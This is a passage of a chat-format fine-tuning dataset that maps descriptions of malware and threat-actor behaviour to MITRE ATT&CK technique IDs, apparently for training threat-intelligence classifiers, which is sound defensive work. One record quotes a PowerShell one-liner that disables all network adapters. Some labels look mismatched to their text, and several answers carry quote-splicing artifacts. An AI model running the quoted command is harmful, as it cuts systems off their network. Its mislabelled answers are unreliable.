                "content": "WastedLocker aims to encrypt the files of the infected host. However before the encryption procedure runs, WastedLocker performs a few other tasks to ensure the ransomware will run properly"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used ASCII encoding for C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use process hollowing for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Base64 encoding for communication in the message body of an HTTP request."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deployed backup web shells and obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network."
            },
            {
                "role": "assistant",
                "content": "T1108 - Redundant Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We had previously observed this same IP scanning for TCP port 7001 throughout May 2018. This was potentially a scan for Oracle WebLogic servers, which listens on TCP port 7001 by default. In both our samples, as well as the ones that Morpheus Labs described, the hard-coded password was not only identical, but also located at the same offset"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has automatically collected data about the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda APT uses a package of binaries to load the actual payload and it is intentionally designed this way to bypass file scanners and sandboxes. Obviously, file scanners or sandboxes can’t detect the PlugX payload without the encrypted DAT file"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet could be dropping malware with Remote Access Trojan (RAT) capabilities damaging the integrity of the overall network. After reviewing systems for Emotet indicators, reimage and move clean systems to a containment VLAN, segregated from the infected network. It is possible that the Outlook account may now have rules to auto-forward all emails to an external email address, which could result in a data breach. Search base64 encoded network stream data referencing the organization’s email domain. If references are found, perform additional analysis to see if a data breach has occurred"
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can disconnect all network adapters on a compromised host using `powershell -Command \"Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }\" > NUL`."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a command to collect the victim PC name and operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the victim’s computer name, processor architecture, OS version, and volume serial number."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has a HWP document stealer module which changes the default program association in the registry to open HWP documents."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script sets up a new HTTP object and then tries to disable the system's local proxy settings"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "httpclient uses HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has exfiltrated stolen data to Dropbox using a customized version of dbxcli."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has used HTTP POST requests for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy modifies conditions in the Registry and adds keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT checks for installed security software like antivirus and firewall."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook can detect USB devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group has obtained and used tools such as QuasarRAT and Remcos."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. These new processes will first spawn a net.exe processing with the view argument to gather a list of network accessible hosts. For each host, BitPaymer spawns another net.exe process with command net view &lt;host&gt; using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery', 'T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can use scripts to invoke PowerShell to download a malicious PE executable or PE DLL for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The use of the web bug reconnaissance technique suggests TA416 is being more discerning about which targets the group chooses to deliver malware payloads. Historically, the group primarily delivered web bug URLs alongside malware URLs to confirm receipt. In 2022, the group started to first profile users and then deliver malware URLs. This may be an attempt by TA416 to avoid having their malicious tools discovered and publicly disclosed. By narrowing the lens of targeting from broad phishing campaigns to focus on targets that have proven to be active and willing to open emails, TA416 increases its chance of success when following up with malicious malware payloads"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "According to the server’s code, the default command that it would issue to newly infected systems was a batch script contained in a file named 0000000000.bat"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy creates a Registry key in the Active Setup pointing to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke exfiltrates collected files automatically over FTP to remote servers."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The other infection chain involves an attached .XLS file containing an Excel formula that utilizes a PowerShell command (Figure 2) to access paste.ee, a Pastebin alternative, that accesses a second encrypted PowerShell command (Figure 3)."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can use code signing to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  malware communicates to its command server using HTTP with an encrypted payload."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has exfiltrated data over the C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT checked the size of the hard drive to determine if it was being run in a sandbox environment. In the event of sandbox detection, it would delete itself by overwriting the malware scripts with the contents of \"License.txt\" and exiting."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can create a task named to appear benign."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy has a built-in utility command for \"netstat\", can do net session through PowerView, and has an interactive shell which can be used to discover additional information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT can check the default browser by querying \"HKCR\\http\\shell\\open\\command\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used built-in API functions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One interesting thing to note is that the Keybase account used by the attacker to chat with their victims has the same logo of the Pay2Key EOSIO smart contract system"
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server sends back Base64 encoded response"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover Group Policy details using the \"gpresult\" command."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito can launch PowerShell Scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind obtains the victim IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie uses RC4 and Base64 to obfuscate strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the victim IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains base64-encoded strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors have used  and a modified version of  called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may create a file containing the results of the command cmd.exe /c net user {Username}."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, threat actors ran \"sc start\" to start the COMSysApp as part of the service hijacking and \"sc stop\" to stop and reconfigure the COMSysApp."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used spearphishing emails with malicious attachments to initially compromise victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used web shells to export mailbox data."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to stealing banking and other sensitive credentials for exfiltration by attackers. The overall operation of the Zeus Panda banking trojan has been well documented, however Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects the any of the following keyboard mappings"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used PowerShell to add and delete rules in the Windows firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali has used embedded VBScript to download malicious payloads from C2."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used VBS scripts throughout its operations."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has sent system information to its C2 server using HTTP."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, stolen data was copied into a text file using the format `From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt` prior to compression, encoding, and exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch can exfiltrate data over the primary C2 channel (Dropbox HTTP API)."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It continues to perform a number of checks for installed security products on the victim machine. The following security platforms are queried by checking entries within the HKLM\\Software\\ registry path"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINDSHIELD C2 traffic can communicate via TCP raw sockets."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used e-mail attachments to lure victims into executing malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali has achieved execution through victims clicking links to malicious websites."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used the SNScan tool to find other potential targets on victim networks."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth can provide a remote shell. One version of Helminth uses batch scripting."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Iranian government-sponsored APT actors may have established new user accounts on domain controllers, servers, workstations, and active directories. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity: Support Help elie WADGUtilityAccount"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account', 'T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa installs a `com.apple.softwareupdate.plist` file in the `/LaunchAgents` folder with the `RunAtLoad` value set to `true`. Upon user login, MacMa is executed from `/var/root/.local/softwareupdate` with root privileges. Some variations also include the `LimitLoadToSessionType` key with the value `Aqua`, ensuring the MacMa only runs when there is a logged in GUI user."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has the capability to gather the OS version and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "variants have communicated with C2 servers over HTTP and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can execute \"getinfo\"  to identify the username on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to hide and unhide files."
            },
            {
                "role": "assistant",
